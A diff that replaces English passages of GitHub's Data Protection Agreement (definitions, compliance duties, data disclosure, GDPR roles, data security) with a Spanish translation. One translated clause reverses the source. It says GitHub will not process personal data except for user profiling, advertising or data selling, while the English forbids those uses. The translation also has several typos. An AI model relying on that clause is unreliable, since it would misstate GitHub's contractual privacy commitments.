+- las Cláusulas Contractuales Estándar (MÓDULO DOS: Transferencia de controlador a procesador), con fecha del 4 de junio de 2021, para la transferencia de datos personales de países terceros de conformidad con el Reglamento (EU) 2016/679 del Parlamento Europeo y del Consejo, de acuerdo a como se describe en el artículo 46 de la GDPR y aprobado por la Decisión Implementada de la Comisión Europea (EU) 2021/91 ("Cláusulas Contractuales Estándar (EU/EEA)"). Se exponen las Cláusulas Contractuales Estándar (EU/EEA) en el <a href="#attachment1">Adjunto 1</a>.
+- las Cláusulas Contractuales Estándar (Procesadores), con fecha del 5 de febrero de 2010, para la transferencia de datos personales a los procesadores establecidos en países terceros, los cuales no garantizan un nivel adecuado de protección de datos, de acuerdo con lo descrito en el Artículo 46 de la GDPR, aprobado por la Decisión de la Comisión Europea 2010/87/EU y reconocido por las autoridades supervisoras o regulatorias del Reino Unido apara uso en conexión con la transferencia de datos desde el Reino Unido ("Cláusulas Contractuales Estándar (UK)"). Se exponen las Cláusulas Contractuales Estándar (UK) en el <a href="#attachment2">Adjunto 2</a>.
 
-“**Support Data**” means all data, including all text, sound, video, image files, or software, that are provided to GitHub by or on behalf of Customer (or that Customer authorizes GitHub to obtain from an Online Service) through an engagement with GitHub to obtain technical support for Online Services covered under this agreement. Support Data is a subset of Professional Services Data. 
+“**Subprocesador**” significa cualquier otro procesador que utiliza GitHub para procesar los Datos Personales en nombre de un Cliente en conexión con los Servicios en Línea, de acuerdo con lo descrito en el Artículo 28 de la GDPR.
 
-Lower case terms used but not defined in this DPA, such as “personal data breach”, “processing”, “controller”, “processor”, “profiling”, “personal data”, and “data subject” will have the same meaning as set forth in Article 4 of the GDPR, irrespective of whether GDPR applies. The terms “data importer” and “data exporter” have the meanings given in the Standard Contractual Clauses. 
+“**Datos de Soporte**” significa todos los datos, incluyendo los archivos de texto, sonido, video, imagen o software que se proporcionan a GitHub mediante o en nombre de un Cliente (o que este Cliente autoriza a GitHub para obtener de un Servicio en Línea) mediante un acuerdo con GitHub para obtener soporte técnico para los Servicios en Línea que se cubren en este acuerdo. Los Datos de Soporte son un subconjunto de Datos de Servicios Profesionales.
 
-For clarity, and as detailed above, data defined as Customer Data, Diagnostic Data, Service Generated Data, and Professional Services Data may contain Personal Data. For illustrative purposes, please see the chart inserted below: 
+Los términos en minúsculas que se utilizan pero no se definen en este DPA, tales como "violación de datos personales", "procesamiento", "controlador", "procesador, "perfilamiento", "datos personales" y "sujeto de datos" tendrán el mismo significado de acuerdo con lo expuesto en el Artículo 4 de la GDPR, independientemente de si la GDRP es aplicable o no. Los términos "importador de datos" y "exportador de datos" tienen los significados que se otorgan en las Cláusulas Contractuales Estándar.
 
-<center><img width="622" alt="personal_data_types" src="https://user-images.githubusercontent.com/64100373/135369811-52b5a84a-6312-4efe-a94a-b02ab2dea8e2.png"></center>
- 
-Above is a visual representation of the data types defined in the DPA. All Personal Data is processed as a part of one of the other data types (all of which also include non-personal data). Support Data is a sub-set of Professional Services Data. Except where explicitly stated otherwise, the DPA Terms exclusively apply to Personal Data. 
- 
-## General Terms 
+Para obtener más claridad y, de acuerdo con lo antes descrito, los datos que se definen como Datos de Clientes, Datos de Diagnóstico, Datos Generados de Servicio, y Datos de Servicios Profesionales, podrían contener Datos Personales. Para fines ilustrativos, por favor, consulta la siguiente tabla:
 
-### Compliance with Laws 
+<center>
+  <img width="622" alt="personal_data_types" src="https://user-images.githubusercontent.com/64100373/135369811-52b5a84a-6312-4efe-a94a-b02ab2dea8e2.png" />
+</center>
 
-GitHub will comply with all laws and regulations applicable to its provision of the Online Services, including security breach notification law and Data Protection Requirements. However, GitHub is not responsible for compliance with any laws or regulations applicable to Customer or Customer’s industry that are not generally applicable to information technology service providers. GitHub does not determine whether Customer Data includes information subject to any specific law or regulation. All Security Incidents are subject to the Security Incident Notification terms below. 
+La anterior es una representación visual de los tipos de datos que se definen en la DPA. Todos los datos personales se procesan como parte de los toros tipos de datos (de los cuales, todos incluyen a los datos no personales también). Los Datos de Soporte son un subconjunto de Datos de Servicios Profesionales. Excepto en donde se declare explícitamente de otra forma, los Términos del DPA aplican exclusivamente a los Datos Personales.
 
-Customer must comply with all laws and regulations applicable to its use of Online Services, including laws related to biometric data, confidentiality of communications, and Data Protection Requirements. Customer is responsible for determining whether the Online Services are appropriate for storage and processing of information subject to any specific law or regulation and for using the Online Services in a manner consistent with Customer’s legal and regulatory obligations. Customer is responsible for responding to any request from a third party regarding Customer’s use of an Online Service, such as a request to take down content under the U.S. Digital Millennium Copyright Act or other applicable laws. 
+## Términos Generales
 
-## Data Protection 
+### Cumplimiento con las Leyes
 
-Terms This section of the DPA includes the following subsections:
-- Scope 
-- Nature of Data Processing; Ownership 
-- Disclosure of Processed Data 
-- Processing of Personal Data; GDPR 
-- Data Security 
-- Security Incident Notification 
-- Data Transfers and Location 
-- Data Retention and Deletion 
-- Processor Confidentiality Commitment 
-- Notice and Controls on Use of Subprocessors 
-- Educational Institutions 
-- CJIS Customer Agreement, HIPAA Business Associate, Biometric Data 
-- California Consumer Privacy Act (CCPA) 
-- How to Contact GitHub 
-- Appendix A – Security Measures
- 
-### Scope 
+GitHub cumplirá con todas las leyes y regulaciones aplicables a su prestación de Servicios en Línea, incluyendo la ley de notificación de violaciones de seguridad y Requisitos de Protección de Datos. Sin embargo, GitHub no es responsable del cumplimiento de ninguna ley o regulación aplicable al Cliente o a la industria de este, las cuales no sean aplicables generalmente a los proveedores de servicios de tecnologías de la información. GitHub no determina si los Datos del Cliente incluyen información sujeta a cualquier ley o regulación específicas. Todos los incidentes de seguridad están sujetos a los siguientes términos de Notificación de Incidentes de Seguridad.
 
-The DPA Terms apply to all Online Services. 
+Los Clientes deben cumplir con todas las leyes y regulaciones aplicables a su uso de los Servicios en Línea, incluyendo las leyes que se relacionan con los datos biométricos, la confidencialidad de las comunicaciones y los Requisitos de Protección de Datos. El Cliente es responsable de determinar si los Servicios en Línea son adecuados para el almacenamiento y procesamiento de la información sujeta a cualquier regulación o ley y para utilizar los Servicios en Línea de forma consistente con las obligaciones regulatorias y legales del Cliente. El Cliente es responsable de responder a cualquier solicitud de un tercero con respecto al uso del Servicio en Línea por parte del mismo, tal como la solicitud de retirar el contenido que se considera en la Ley de Derechos de Autor para Medios Digitales u otras leyes aplicables.
 
-Previews may employ lesser or different privacy and security measures than those typically present in the Online Services. Unless otherwise noted, Customer should not use Previews to process Personal Data or other data that is subject to legal or regulatory compliance requirements. The following terms in this DPA do not apply to Previews: Processing of Personal Data; GDPR, Data Security, and California Consumer Privacy Act. 
+## Protección de datos
 
-### Nature of Data Processing; Ownership 
+Los términos de la DPA en esta sección incluyen las siguientes subsecciones:
+- Alcance
+- Naturaleza del Procesamiento de Datos; Propiedad
+- Divulgación de los Datos Procesados
+- Procesamiento de los Datos Personales; GDPR
+- Seguridad de Datos
+- Notificación de Incidentes de Seguridad
+- Transferencia de Datos y Ubicación
+- Retención y Borrado de Datos
+- Compromiso de Confidencialidad del Procesador
+- Aviso y Controles de Uso de Subprocesadores
+- Instituciones Educativas
+- Acuerdo de Cliente de CJIS, Asociado de Negocios HIPAA, Datos Biométricos
+- Ley de Privacidad de Consumidores de California (CCPA)
+- Cómo Contactar a GitHub
+- Apéndice A – Medidas de Seguridad
 
-Except as otherwise stated in the DPA Terms, GitHub will use and otherwise process Customer Data and Personal Data as described and subject to the limitations provided below (a) to provide Customer the Online Service in accordance with Customer’s documented instructions, and/or (b) for GitHub’s legitimate business operations incident to delivery of the Online Services to Customer. As between the parties, Customer retains all right,
-title and interest in and to Customer Data. GitHub acquires no rights in Customer Data other than the rights Customer grants to GitHub in this section. This paragraph does not affect GitHub’s rights in software or services GitHub licenses to Customer. 
+### Ámbito
 
-#### Processing to Provide Customer the Online Services 
+Los términos del DPA aplican a todos los Servicios en Línea.
 
-For purposes of this DPA, “to provide” an Online Service consists of: 
-- Delivering functional capabilities as licensed, configured, and used by Customer and its users, including providing personalized user experiences; 
-- Troubleshooting (e.g., preventing, detecting, and repairing problems); and 
-- Ongoing improvement (e.g., installing the latest updates and making improvements to user productivity, reliability, efficacy, and security). 
+Las vistas previas podrían emplear medidas de seguridad y privacidad menores o diferentes que aquellos tipos que se presentan habitualmente en los Servicios en Línea. A menos de que se indique lo contrario, el Cliente no deberá utilizar las Vistas Previas para procesar Datos Personales u otros que estén sujetos a requisitos de cumplimiento regulatorio o legal. Los siguientes términos en el presente DPA no aplican a las Vistas Previas: Procesamiento de Datos Personales; GDPR, Seguridad de Datos y Ley de Privacidad del Consumidor de California.
 
-When providing Online Services, GitHub will use or otherwise process Personal Data only on Customer’s behalf and in accordance with Customer’s documented instructions. 
+### Naturaleza del Procesamiento de Datos; Propiedad
 
-#### Processing for GitHub’s Legitimate Business Operations 
+A menos de que se indique lo contrario en los Términos del DPA, GitHub utilizará y, de otra forma, procesará los Datos de Cliente y Datos Personales de acuerdo con lo descrito y sujeto a las limitaciones que se proporcionan a continuación (a) para proporcionar el Servicio en Línea al Cliente de acuerdo con las instrucciones que este mismo documentó y (b) para las operaciones de negocios legítimos de GitHub inherentes a la entrega de los Servicios en Línea al Cliente. Como entre las partes, el Cliente retendrá todos los derechos, títulos e intereses y Datos de Cliente. GitHub no adquiere derechos sobre los Datos de Cliente aparte de los que el mismo Cliente le otorgue en esta sección. Este párrafo no afecta los derechos de GitHub sobre el software o los servicios sobre los cuales GitHub otorga licencias al Cliente.
 
-For purposes of this DPA, “GitHub’s legitimate business operations” consist of the following, each as incident to delivery of the Online Services to Customer: (1) billing and account management; (2) compensation (e.g., calculating employee commissions and partner incentives); (3) internal reporting and business modeling (e.g., forecasting, revenue, capacity planning, product strategy); (4) combatting fraud, abuse, cybercrime, or cyber-attacks that may affect GitHub or Online Services; (5) improving the core functionality of accessibility, privacy or energy-efficiency; (6) financial reporting and compliance with legal obligations (subject to the limitations on disclosure of Processed Data outlined below); (7) the creation or management of end user accounts and profiles by GitHub for individual users of Customer (except where Customer creates, manages or otherwise controls such end user accounts or profiles itself); and (8) other purposes pertaining to Personal Data not provided by Customer for storage in GitHub repositories or in connection with Professional Services. 
+#### Procesamiento para proporcionar los Servicios en Línea al Cliente
 
-When processing for GitHub’s legitimate business operations, GitHub will not use or otherwise process Personal Data for: (a) user profiling, (b) advertising or similar commercial purposes, (c) data selling or brokering, or (d) any other purpose, other than for the purposes set out in this section. 
+Para fines de este DPA, "proporcionar" un Servicio en Línea, consiste en:
+- Entregar capacidades funcionales de acuerdo con como el Cliente y sus usuarios cuentan con licencia, los configuran y usan, incluyendo las experiencias personalizadas para los usuarios;
+- Solucionar problemas (por ejemplo, prevenir, detectar y reparar problemas) y;
+- Mejora continua (por ejemplo, instalar las actualizaciones más recientes y hacer mejoras a la productividad de los usuarios, confiabilidad, eficacia y seguridad).
 
-### Disclosure of Processed Data 
+Cuando se proporcionan Servicios en Línea, GitHub utilizará o procesará de cualquier otra forma los Datos personales únicamente en nombre del Cliente y de acuerdo con las instrucciones documentadas de este.
 
-GitHub will not disclose or provide access to any Processed Data except: (1) as Customer directs; (2) as described in this DPA; or (3) as required by law. For purposes of this section, “Processed Data” means: (a) Customer Data; (b) Personal Data and (c) any other data processed by GitHub in connection with the Online Service that is Customer’s confidential information under the GitHub Customer Agreement. All processing of Processed Data is subject to GitHub’s obligation of confidentiality under the GitHub Customer Agreement. 
+#### Procesamiento para las Operaciones de Negocio Legítimas de GitHub
 
-GitHub will not disclose or provide access to any Processed Data to law enforcement unless required by law. If law enforcement contacts GitHub with a demand for Processed Data, GitHub will attempt to redirect the law enforcement agency to request that data directly from Customer. If compelled to disclose or provide access to any Processed Data to law enforcement, GitHub will promptly notify Customer and provide a copy of the demand, unless legally prohibited from doing so. 
+Para propósitos de este DPA, las "operaciones de negocio legítimas de GitHub" consisten de lo siguiente, cada una como un incidente de entrega de los Servicios en Línea al Cliente: (1) administración de cuenta y facturación; (2) compensación (por ejemplo, calcular las comisiones de empleados e incentivos de los socios); (3) reportes internos y modelados de negocio (por ejemplo, proyecciones, ganancias, planeación de capacidad, estrategia de producto); (4) combatir el fraude, abuso, cibercrimen o ciberataques que pudieran afectar a GitHub o a los Servicios en Línea; (5) mejorar las funcionalidades de accesibilidad, privacidad o eficiencia energética; (6) reportes financieros y cumplimiento con las obligaciones legales (sujetas a las limitaciones de divulgación de Datos Personales que se describen más adelante); (7) la creación o administración de cuentas de usuarios finales y perfiles por parte de GitHub para los usuarios individuales del Cliente (excepto cuando el Cliente cree, administre o controle de otra forma dichas cuentas de usuario final o perfiles por sí mismo) y; (8) otros propósitos que se relacionen con los Datos Personales que no proporcione el Cliente para su almacenamiento en los repositorios de GitHub o en conexión con los Servicios Profesionales.
 
-Upon receipt of any other third-party request for Processed Data, GitHub will promptly notify Customer unless prohibited by law. GitHub will reject the request unless required by law to comply. If the request is valid, GitHub will attempt to redirect the third party to request the data directly from Customer. 
+Cuando se realicen procesamientos para las operaciones de negocios legítimas de GitHub, GitHub no utilizará o procesará los Datos Personales de ninguna otra forma más que para: (a) crear perfiles de usuario, (b) anunciar o realizar propósitos comerciales similares, (c) vender datos o hacer corretaje de estos o (d) cualquier otro propósito diferente de aquellos que se describen en esta sección.
 
-GitHub will not provide any third party: (a) direct, indirect, blanket, or unfettered access to Processed Data; (b) platform encryption keys used to secure Processed Data or the ability to break such encryption; or (c) access to Processed Data if GitHub is aware that the data is to be used for purposes other than those stated in the third party’s request. 
+### Divulgación de los Datos Procesados
 
-In support of the above, GitHub may provide Customer’s basic contact information to the third party. 
+GitHub no divulgará o proporcionará acceso a ningún Dato Procesado, excepto: (1) de acuerdo con como el Cliente lo indique; (2) de acuerdo con lo descrito en este DPA; o (3) de acuerdo con los requisitos legales. Para propósitos de esta sección, "Datos Procesados" significa: (a) Datos de Cliente; (b) Datos Personales y (c) cualquier otros datos que procese GitHub en conexión con el Ser vicio en Línea que utilice la información confidencial del Cliente bajo el Acuerdo de Cliente de GitHub. Todo el procesamiento de Datos Procesados está sujeto a la obligación de GitHub sobre la confidencialidad bajo el Acuerdo de Cliente de GitHub.
 
-### Processing of Personal Data; GDPR 
+GitHub no divulgará ni proporcionará acceso de ningún Dato Procesado a las fuerzas policiales a menos de que la ley así lo requiera. Si las fuerzas policiales contactan a GitHub con una demanda de Datos Procesados, GitHub intentará redireccionar a dicha agencia para que solicite los datos directamente del Cliente. En caso de que se le obligue a divulgar o proporcionar acceso a cualquier tipo de Datos Procesados a la fuerza policial, GitHub notificará de inmediato al Cliente y proporcionará una copia de dicha demanda, a menos de que se le prohíba hacerlo explícitamente.
 
-All Personal Data processed by GitHub in connection with the Online Services is obtained as part of either Customer Data, Professional Services Data (including Support Data), Diagnostic Data, or Service Generated Data. Personal Data provided to GitHub by, or on behalf of, Customer through use of the Online Service is also Customer Data. Pseudonymized identifiers may be included in Diagnostic Data or Service Generated Data and are also Personal Data. Any Personal Data pseudonymized, or de-identified but not anonymized, or Personal Data derived from Personal Data is also Personal Data. 
+En el momento de que se reciba cualquier otra solicitud de terceros para obtener Datos Procesados, GitHub notificará de inmediato al Cliente a menos de que la ley lo prohiba. GitHub rechazará la solicitud a menos de que la ley exija su cumplimiento. Si la solicitud es válida, GitHub intentará redireccionar al tercero para que solicite los datos directamente del Cliente.
 
-To the extent GitHub is a processor or subprocessor of Personal Data subject to the GDPR, the GDPR Related Terms in <a href="#attachment3">Attachment 3</a> govern that processing and the parties also agree to the following terms in this sub-section (“Processing of Personal Data; GDPR”): 
+GitHub no proporcionará a ningún tercero: (a) acceso directo, indirecto, abierto o sin restricción a los Datos Procesados; (b) llaves de cifrado de plataforma que se utilicen para asegurar los Datos Procesados o la capacidad de librar dicho cifrado o (c) acceso a los Datos Procesados si GitHub está consciente que estos se utilizarán para propósitos diferentes a aquellos enunciados en la solicitud del tercero.
 
-#### Processor and Controller Roles and Responsibilities 
+Para apoyar lo anterior, GitHub podría proporcionar información de contacto básica del Cliente al tercero.
 
-Customer and GitHub agree that Customer is the controller of Personal Data and GitHub is the processor of such data, except (a) when Customer acts as a processor of Personal Data, in which case GitHub is a subprocessor; or (b) as stated otherwise in the GitHub Customer Agreement or this DPA. When GitHub acts as the processor or subprocessor of Personal Data, it will process Personal Data only on Customer’s behalf and in accordance with documented instructions from Customer. Customer agrees that its GitHub Customer Agreement (including the DPA Terms and any applicable updates), along with the product documentation and Customer’s use and configuration of features in the Online Services, are Customer’s complete documented instructions to GitHub for the processing of Personal Data. Information on use and configuration of the Online Services can be found at https://docs.github.com or a successor location. Any additional or alternate instructions must be agreed to according to the process for amending Customer’s GitHub Customer Agreement. In any instance where the GDPR applies and Customer is a processor, Customer warrants to GitHub that Customer’s instructions, including appointment of GitHub as a processor or subprocessor, have been authorized by the relevant controller. 
+### Procesamiento de los Datos Personales; GDPR
 
-To the extent GitHub uses or otherwise processes Personal Data subject to the GDPR for GitHub’s legitimate business operations incident to delivery of the Online Services to Customer, GitHub will comply with the obligations of an independent data controller under GDPR for such use. GitHub is accepting the added responsibilities of a data “controller” under the GDPR for processing in connection with its legitimate business operations to: (a) act consistent with regulatory requirements, to the extent required under the GDPR; and (b) provide increased transparency to Customers and confirm GitHub’s accountability for such processing. GitHub employs safeguards to protect Personal Data in processing, including those identified in this DPA and those contemplated in Article 6(4) of the GDPR. With respect to processing of Personal Data under this paragraph, GitHub makes the commitments set forth in the Standard Contractual Clauses set forth in <a href="#attachment1">Attachment 1</a> or <a href="#attachment2">Attachment 2</a> (as applicable); for those purposes, (i) any GitHub disclosure of Personal Data, as described in Annex III to <a href="#attachment1">Attachment 1</a> or Appendix 3 to <a href="#attachment2">Attachment 2</a> (as applicable), that has been transferred in connection with GitHub’s legitimate business operations is deemed a “Relevant Disclosure” and (ii) the commitments in Annex III to <a href="#attachment1">Attachment 1</a> or Appendix 3 to <a href="#attachment2">Attachment 2</a> (as applicable) apply to such Personal Data. 
+Cualquier Dato Personal que procese GitHub en conexión con los Servicios en Línea se obtendrá como parte ya sea de los Datos de Cliente, Datos de Servicios Profesionales (incluyendo los Datos de Soporte) Datos de Diagnóstico o Datos Generados por los Servicios. Los Datos Personales que se proporcionan a GitHub mediante o en nombre del Cliente, mediante el uso del Servicio en Línea, también se consideran Datos de Cliente. Los identificadores de pseudónimo podrían incluirse en los Datos de Diagnóstico o Datos Generados por los Servicios y también se consideran Datos Personales. Cualquier Dato Personal en forma de pseudónimo o desidentificado pero no anonimizado o Dato Personal que se derive de los Datos Personales también se considera un Dato Personal.
 
-#### Processing Details 
+En medida en que GitHub sea un procesador o subprocesador de los Datos Personales sujetos a la GDRP, los Términos Relacionados con la GDPR en el <a href="#attachment3">Adjunto 3</a> regirán el procesamiento y las partes también concuerdan con los siguientes términos de esta sub-sección ("Procesamiento de Datos Personales; GDPR"):
 
-The parties acknowledge and agree that: 
+#### Roles y Responsabilidades del Procesador y Controlador
 
-- **Subject Matter**. The subject-matter of the processing is limited to Personal Data within the scope of the section of this DPA entitled “Nature of Data Processing; Ownership” above and the GDPR. 
-- **Duration of the Processing**. The duration of the processing shall be in accordance with Customer instructions and the terms of the DPA. 
-- **Nature and Purpose of the Processing**. The nature and purpose of the processing shall be to provide the Online Service pursuant to Customer’s GitHub Customer Agreement and for GitHub’s legitimate business operations incident to delivery of the Online Service to Customer (as further described in the section of this DPA entitled “Nature of Data Processing; Ownership” above). 
-- **Categories of Data**. The types of Personal Data processed by GitHub when providing the Online Service include: (i) Personal Data that Customer elects to include in Customer Data or Professional Services Data (including, without limitation, Support Data); and (ii) those expressly identified in Article 4 of the GDPR that may be contained in Diagnostic Data or Service Generated Data. The types of Personal Data that Customer elects to include in Customer Data or Professional Services Data (including, without limitation, Support Data) may be any categories of Personal Data identified in records maintained by Customer acting as controller pursuant to Article 30 of the GDPR, including the categories of Personal Data set forth in Annex I to <a href="#attachment1">Attachment 1</a> or Appendix 1 to <a href="#attachment2">Attachment 2</a> (as applicable). 
-- Data Subjects. The categories of data subjects are Customer’s representatives and end users, such as employees, contractors, collaborators, and customers, and may include any other categories of data subjects as identified in records maintained by Customer acting as controller pursuant to Article 30 of the GDPR, including the categories of data subjects set forth in Annex I to <a href="#attachment1">Attachment 1</a> or Appendix 1 to <a href="#attachment2">Attachment 2</a> (as applicable). 
+El Cliente y GitHub concuerdan que el Cliente es el controlador de los Datos Personales y GitHub es el procesador de estos, excepto (a) cuando el Cliente actúe como procesador de los Datos Personales, en cuyo caso, GitHub será un subprocesador o (b) de acuerdo a como se enuncie de otro modo en el Acuerdo de Cliente de GitHub o en este DPA. Cuando GitHub actúe como el procesador o subprocesador de los Datos Personales, los procesará únicamente en nombre y de acuerdo con lo documentado en las instrucciones del Cliente. El Cliente concuerda que este Acuerdo de Cliente de GitHub (incluyendo los Términos del DPA y cualquier actualización aplicable), en conjunto con la documentación del producto y el uso del Cliente y la configuración de características en los Servicios en Línea, son las instrucciones completamente documentadas del Cliente hacia GitHub para el procesamiento de los Datos Personales. Se puede encontrar la información sobre el uso y configuración de los Servicios en Línea en https://docs.github.com o en una ubicación posterior. Deberá acordarse cualquier instrucción adicional o alterna conforme al proceso para modificar el Acuerdo de Cliente de GitHub del Cliente. En cualquier instancia en donde aplique la GDPR y el Cliente sea un procesador, el Cliente garantiza a GitHub que el controlador relevante autorizó las instrucciones otorgadas, incluyendo la designación de GitHub como un procesador o subprocesador.
 
-#### Data Subject Rights; Assistance with Requests 
+En medida en que GitHub utilice o procese de otra forma los Datos Personales sujetos a la GDPR para las operaciones de negocio legítimas de GitHub inherentes a la entrega de los Servicios en Línea al Cliente, GitHub cumplirá con las obligaciones de un controlador de datos independientes bajo la GDPR para dicho uso. GitHub acepta las responsabilidades añadidas de un "controlador" de datos bajo la GDPR para el procesamiento en conexión con sus operaciones legítimas de negocios para: (a) actuar en consistencia con los requisitos regulatorios, en la medida que lo requiera la GDPR y (b) proporcionar la transparencia incrementada para los Clientes y confirmar la responsabilidad de GitHub para dicho procesamiento. GitHub emplea salvaguardas para proteger los Datos Personales durante su procesamiento, incluyendo a aquellos que se identifican en este DPA y aquellos que se contemplan en el el Artículo 6(4) de la GDPR. Con respecto al procesamiento de Datos Personales bajo este párrafo, GitHub hace los compromisos descritos en las Cláusulas Contractuales Estándar que se muestran en el <a href="#attachment1">Adjunto 1</a> o el <a href="#attachment2">Adjunto 2</a> (conforme sea aplicable); para dichos propósitos, (i) cualquier divulgación de Datos Personales por parte de GitHub, de acuerdo con lo descrito en el Anexo III al <a href="#attachment1">Adjunto 1</a> o Apéndice 3 al <a href="#attachment2">Adjunto 2</a> (conforme aplique), que se haya transferido en conexión con las operaciones de negocios legítimas de GitHub se considera una "Divulgación Relevante" y (ii) los compromisos en el Anexo III al <a href="#attachment1">Adjunto 1</a> o del Apéndice 3 al <a href="#attachment2">Adjunto 2</a> (según el caso) aplicarán a dichos Datos Personales.
 
-GitHub will make available to Customer, in a manner consistent with the functionality of the Online Service and GitHub’s role as a processor of Personal Data of data subjects, the ability to fulfill data subject requests to exercise their rights under the GDPR. If GitHub receives a request from Customer’s data subject to exercise one or more of its rights under the GDPR in connection with an Online Service for which GitHub is a data processor or subprocessor, GitHub will redirect the data subject to make its request directly to Customer. Customer will be responsible for responding to any such request including, where necessary, by using the functionality of the Online Service. GitHub shall comply with reasonable requests by Customer to assist with Customer’s response to such a data subject request. 
+#### Procesar Detalles
 
-#### Records of Processing Activities 
+Las partes reconocen y concuerdan en que:
 
-To the extent the GDPR requires GitHub to collect and maintain records of certain information relating to Customer, Customer will, where requested, supply such information to GitHub and keep it accurate and up-to-date. GitHub may make any such information available to the supervisory authority if required by the GDPR. 
+- **Objeto del contrato**. El objeto del contrato de procesamiento se limita a los Datos Personales con el alcance de la sección de este DPA denominado "Naturaleza del Procesamiento de los Datos; Propiedad", el cual se encuentra anteriormente, y la GDPR.
+- **Duración del procesamiento**. La duración del procesamiento tomará lugar de acuerdo con las instrucciones del Cliente y de los términos del DPA.
+- **Naturaleza y propósito del procesamiento**. La naturaleza y propósito del procesamiento será el proporcionar el Servicio en Línea conforme al Acuerdo de Cliente de GitHub del Cliente y para las operaciones de negocios legítimas de GitHub inherentes a la entrega del Servicio en Línea al Cliente (de acuerdo con lo descrito en la sección de este DPA que se titula "Naturaleza del Procesamiento de Datos; Propiedad", que se encuentra anteriormente).
+- **Categorías de los Datos**. Los tipos de Datos Personales que procesa GitHub al proporcionar el Servicio en Línea incluyen: (i) Datos Personales que elige el Cliente para incluir en los Datos del Cliente o Datos de Servicios Profesionales (incluyendo, mas no limitándose a los Datos de Soporte) y (ii) aquellos que se identifican explícitamente en el Artículo 4 de la GDPR y que podrían contenerse en los Datos Diagnósticos o Datos Generados por los Servicios. Los tipos de Datos Personales que el Cliente elige incluir en los Datos de Cliente o Datos de Servicios Profesionales (incluyendo, mas no limitándose a los Datos de Soporte) podrían ser de cualquier categoría de Datos Personales identificada en los registros que mantiene el Cliente actuando como controlador conforme al Artículo 30 de la GDPR, incluyendo las categorías de Datos Personales que se describen en el Anexo I al <a href="#attachment1">Adjunto 1</a> o en el Apéndice 1 al <a href="#attachment2">Adjunto 2</a> (conforme sea aplicable).
+- Titulares de los datos. Las categorías de titulares de los datos son representantes del Cliente y usuarios finales, tales como empleados, contratistas, colaboradores y clientes y podrían incluir cualquier otra categoría de titulares de los datos de acuerdo con lo identificado en los registros que mantiene el cliente, actuando como un controlador de conformidad con el Artículo 30 de la GDPR, incluyendo las categorías de titulares de datos que se describen en el Anexo 1 al <a href="#attachment1">Adjunto 1</a> o al Apéndice 1 al <a href="#attachment2">Adjunto 2</a> (conforme sea aplicable).
 
-### Data Security 
+#### Derechos de los Titulares de los Datos; Asistencia con las Solicitudes
 
-GitHub will implement and maintain appropriate technical and organizational measures and security safeguards against accidental or unlawful destruction, or loss, alteration, unauthorized disclosure of or access to, Customer Data and Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services. GitHub will regularly monitor compliance with these measures and safeguards and will continue to take appropriate steps throughout the term of the GitHub Customer Agreement. <a href="#appendixA">Appendix A – Security Safeguards</a> contains a description of the technical and organizational measures and security safeguards implemented by GitHub. 
+GitHub pondrá a disposición del Cliente, de forma consistente con la funcionalidad del Servicio en Línea y del rol de GitHub como procesador de Datos Personales de los titulares de estos, la capacidad de cumplir con las solicitudes de los titulares de datos para ejecutar sus derechos bajo la GDPR. Si GitHub recibe un formato de solicitud del titular de los datos del Cliente para ejecutar uno más de sus derechos bajo la GDPR en conexión con un Servicio en Línea por el cual GitHub es un procesador o subprocesador, GitHub redireccionará al titular de los datos para que haga su solicitud directamente con el Cliente. El cliente será responsable de responder a cualquier solicitud de este tipo, incluyendo, cuando sea necesario, utilizando la funcionalidad del Servicio en Línea. Github deberá cumplir con las soclitudes razonables que haga el Cliente para asistir la respuesta del mismo a dichas solicitudes de un sujeto de datos.
 
-Customer is solely responsible for making an independent determination as to whether the technical and organizational measures and security safeguards for an Online Service meet Customer’s requirements, including any of its security obligations under applicable Data Protection Requirements. Customer acknowledges and agrees that (taking into account the state of the art, the costs of implementation, and the nature, scope, context and purposes of the processing of its Customer Data and Personal Data as well as the risk of varying likelihood and severity for the rights and freedoms of natural persons) the technical and organizational measures and security safeguards implemented and maintained by GitHub provide a level of security appropriate to the risk with respect to its Customer Data and Personal Data. Customer is responsible for implementing and maintaining privacy protections and security measures for components that Customer provides or controls. 
+#### Registros de Actividades de Procesamiento
 
-GitHub will provide security compliance reporting such as external SOC1, type 2 and SOC2, type2 audit reports upon Customer request. Customer agrees that any information and audit rights granted by the applicable Data Protection Requirements (including, where applicable, Article 28(3)(h) of the GDPR) will be satisfied by these compliance reports, and will otherwise only arise to the extent that GitHub's provision of a compliance report does not provide sufficient information, or to the extent that Customer must respond to a regulatory or supervisory authority audit or investigation. 
+En medida en que la GPR requiera que GitHub recolecte y mantenga los registros de alguna información relacionada con el Cliente, este proporcionará dicha información a GitHub, cuando se le solicite, y la mantendrá actualizada y correcta. GitHub podría poner dicha información a disposición de la autoridad supervisora en caso de que la GDPR así lo requiera.
 
-Should Customer be subject to a regulatory or supervisory authority audit or investigation or carry out an audit or investigation in response to a request by a regulatory or supervisory authority that requires participation from GitHub, and Customers’ obligations cannot reasonably be satisfied (where allowable by Customer’s regulators) through audit reports, documentation, or compliance information that GitHub makes generally available to its customers, then GitHub will promptly respond to Customer’s additional instructions and requests for information, in accordance with the following terms and conditions: 
+### Seguridad de Datos
 
-- GitHub will provide access to relevant knowledgeable personnel, documentation, and application software. 
-- Customer and GitHub will mutually agree in a prior written agreement (email is acceptable) upon the scope, timing, duration, control and evidence requirements, provided that this requirement to agree will not permit GitHub to unreasonably delay its cooperation. 
-- Customer must ensure its regulator’s use of an independent, accredited third-party audit firm, during regular business hours, with reasonable advance written notice to GitHub, and subject to reasonable confidentiality procedures. Neither Customer, its regulators, nor its regulators’ delegates shall have access to any data from GitHub’s other customers or to GitHub systems or facilities not involved in the Online Services. 
-- Customer is responsible for all costs and fees related to GitHub’s cooperation with the regulatory audit of Customer, including all reasonable costs and fees for any and all time GitHub expends, in addition to the rates for services performed by GitHub. 
-- If the report generated from GitHub’s cooperation with the regulatory audit of Customer includes any findings pertaining to GitHub, 
-Customer will share such report, findings, and recommended actions with GitHub where allowed by Customer’s regulators. 
